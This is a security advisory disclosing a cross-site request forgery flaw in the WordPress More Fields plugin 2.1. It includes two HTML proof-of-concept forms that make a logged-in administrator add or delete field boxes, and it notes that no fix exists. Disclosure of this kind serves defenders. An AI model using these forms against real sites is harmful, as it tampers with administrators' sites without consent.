WordPress More Fields <= 2.1 Plugin - CSRF Vulnerability

2016-02-29 21:05:04

# Exploit Title: Wordpress More Fields Plugin 2.1 Cross-Site Request Forgery
# Date: 28-02-2016
# Software Link: https://wordpress.org/support/plugin/more-fields
# Exploit Author: Aatif Shahdad
# Twitter: https://twitter.com/61617469665f736
# Contact: [email protected]
# Category: webapps

1. Description

The plugin More Fields has CSRF token validation disabled for all functions, including the add box and delete box options. As a result, a specially crafted attacker page could cause
a logged-in administrator to add and delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin.

2. Proof of Concept

Login as admin to the wp-admin area at http://example.com/wp-admin. Open the following Proof-Of-Concept with the browser that you used to log in.

POC to add box named ‘test’:

--POC begins--
Add Boxes:

<html>
<body>
<form action="https://example.com/wpadmin/optionsgeneral.php?page=more-
fields&action=save&keys=_plugin%2C57UPhPh&navigation=boxes" method="POST">
<input type="hidden" name="label" value="test" />
<input type="hidden" name="post_types[]" value="press" />
<input type="hidden" name="position" value="left" />
<input type="hidden" name="fields" value="" />
<input type="hidden" name="ancestor_key" value="" />
<input type="hidden" name="originating_keys" value="_plugin,57UPhPh" />
<input type="hidden" name="action" value="save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Remove Boxes needs the following simple GET request (Assuming the name of the Box we want to delete is ‘test’):

<html>
<body>
<form action="https://example.com/wpadmin/optionsgeneral.php">
<input type="hidden" name="page" value="more-fields" />
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="action_keys" value="_plugin,test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Note: I have removed the CSRF tokens from the requests as they are redundant and not validated.

--End of POC--

3. Impact

The attacker can add/delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin.

4. Solution:

Add in CSRF token validation to the plugin or switch to a different plugin. The development of the Plugin has ceased so this happens to be the latest version which can’t be upgraded as of now.

Fixes

No fixes

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